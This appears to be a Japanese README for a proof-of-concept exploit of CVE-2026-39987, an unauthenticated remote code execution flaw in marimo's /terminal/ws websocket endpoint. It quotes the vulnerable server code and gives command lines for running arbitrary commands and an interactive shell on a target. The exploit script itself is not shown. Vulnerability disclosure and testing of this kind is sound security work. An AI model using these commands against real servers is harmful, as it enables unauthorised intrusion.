
CVE-2026-39987 for marimo 0.20.4 PoC
情報:
CVE-2026-39987 は、Marimo(0.23.0 より前のバージョン)における、認証前リモートコード実行(RCE)の重大な脆弱性です。
なぜ動作するのか:
/terminal/ws エンドポイントは認証なしで公開されています。
内部: marimo/_server/api/endpoints/terminal.py
@router.websocket("/ws")
async def websocket_endpoint(websocket: WebSocket) -> None:
app_state = AppState(websocket)
if app_state.mode != SessionMode.EDIT:
await websocket.close(...)
return
if not supports_terminal():
await websocket.close(...)
return
await websocket.accept()
# further down..
child_pid, fd = pty.fork()
見てのとおり、PTY シェルを生成する前に認証チェックは一切実行されません。
python3 CVE-2026-39987.py example.com -c 'whoami'
何も出力されず、ターゲットが SSL を使用している場合は、--max-wait と --any-ssl 引数を使用してください。
python3 CVE-2026-39987.py example.com -c 'whoami' --any-ssl --max-wait 5
対話モードもあります
python3 CVE-2026-39987.py example.com -i --any-ssl